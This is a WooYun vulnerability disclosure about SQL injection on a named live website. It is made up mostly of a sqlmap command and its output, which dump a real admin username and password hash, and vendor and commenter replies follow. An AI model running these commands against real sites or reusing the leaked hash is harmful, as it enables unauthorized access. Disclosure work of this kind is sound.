当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-098692

漏洞标题:摩擦app某网站存在注入可进后台

相关厂商:himoca.com

漏洞作者: 路人甲

提交时间:2015-03-02 16:37

修复时间:2015-03-02 17:11

公开时间:2015-03-02 17:11

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-02: 细节已通知厂商并且等待厂商处理中
2015-03-02: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

摩擦app某网站存在注入可进后台

详细说明:

话不多说,看图吧:

kingdomdeMacBook-Pro:sqlmap-dev king$ python sqlmap.py -u "http://m.himoca.com/about2.asp?id=3" --dump -C "admin,password" -T "admin"
sqlmap/1.0-dev-9fff88d - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 09:29:54
[09:29:54] [INFO] resuming back-end DBMS 'microsoft access'
[09:29:54] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=3 AND 9321=9321
---
[09:29:55] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP
back-end DBMS: Microsoft Access
[09:29:55] [ERROR] cannot retrieve column names, back-end DBMS is Access
[09:29:55] [INFO] fetching entries of column(s) 'admin, id, password' for table 'admin' in database 'Microsoft_Access_masterdb'
[09:29:55] [INFO] fetching number of column(s) 'admin, id, password' entries for table 'admin' in database 'Microsoft_Access_masterdb'
[09:29:55] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[09:29:55] [INFO] retrieved: 1
[09:29:57] [INFO] fetching number of distinct values for column 'id'
[09:29:57] [INFO] retrieved: 1^C
[09:30:12] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 8 times
[09:30:12] [ERROR] user aborted
[*] shutting down at 09:30:12
kingdomdeMacBook-Pro:sqlmap-dev king$ python sqlmap.py -u "http://m.himoca.com/about2.asp?id=3" --dump -C "admin,password" -T "admin" --threads 10
sqlmap/1.0-dev-9fff88d - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 09:30:16
[09:30:16] [INFO] resuming back-end DBMS 'microsoft access'
[09:30:16] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=3 AND 9321=9321
---
[09:30:16] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP
back-end DBMS: Microsoft Access
[09:30:16] [ERROR] cannot retrieve column names, back-end DBMS is Access
[09:30:16] [INFO] fetching entries of column(s) 'admin, id, password' for table 'admin' in database 'Microsoft_Access_masterdb'
[09:30:16] [INFO] fetching number of column(s) 'admin, id, password' entries for table 'admin' in database 'Microsoft_Access_masterdb'
[09:30:16] [INFO] resumed: 1
[09:30:16] [INFO] fetching number of distinct values for column 'id'
[09:30:16] [INFO] resuming partial value: 1
[09:30:16] [INFO] retrieved:
[09:30:18] [INFO] using column 'id' as a pivot for retrieving row data
[09:30:18] [INFO] retrieving the length of query output
[09:30:18] [INFO] retrieved: 1
[09:30:20] [INFO] retrieved: 1
[09:30:27] [INFO] retrieving the length of query output
[09:30:27] [INFO] retrieved:
[09:30:28] [INFO] retrieved: admin
[09:30:46] [INFO] retrieving the length of query output
[09:30:46] [INFO] retrieved:
[09:30:47] [INFO] retrieved: e510a00c42d73e02fae47d328cbc03a8
[09:32:30] [INFO] analyzing table dump for possible password hashes
[09:32:30] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] n
do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: Microsoft_Access_masterdb
Table: admin
[1 entry]
+----+-------+----------------------------------+
| id | admin | password |
+----+-------+----------------------------------+
| 1 | admin | e510a00c42d73e02fae47d328cbc03a8 |
+----+-------+----------------------------------+
[09:33:33] [INFO] table 'Microsoft_Access_masterdb.admin' dumped to CSV file '/Users/king/.sqlmap/output/m.himoca.com/dump/Microsoft_Access_masterdb/admin.csv'
[09:33:33] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 168 times
[09:33:33] [INFO] fetched data logged to text files under '/Users/king/.sqlmap/output/m.himoca.com'


1234.png


如图已进后台

漏洞证明:

如上

修复方案:

asp的站,access数据库,够古老了,升级下吧

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-03-02 17:11

厂商回复:

已经废弃的后台了!

最新状态:

暂无


漏洞评价:

评论

  1. 2015-03-02 17:34 | kingdom ( 路人 | 还没有发布任何漏洞 | test for fun)

    求把另外两个漏洞确认了

  2. 2015-03-02 22:17 | Arthur ( 实习白帽子 | Rank:77 漏洞数:32 | USA,I am coming!!!!!)

    那么别修复了。忽略了就不要修复,说明那个不是漏洞。如果修复了就不要忽略,说明那个是漏洞。刚好来个内网渗透。

  3. 2015-03-07 18:21 | kingdom ( 路人 | 还没有发布任何漏洞 | test for fun)

    厂商不确认另外两个危险的漏洞,偏偏忽略这个没啥危害的漏洞么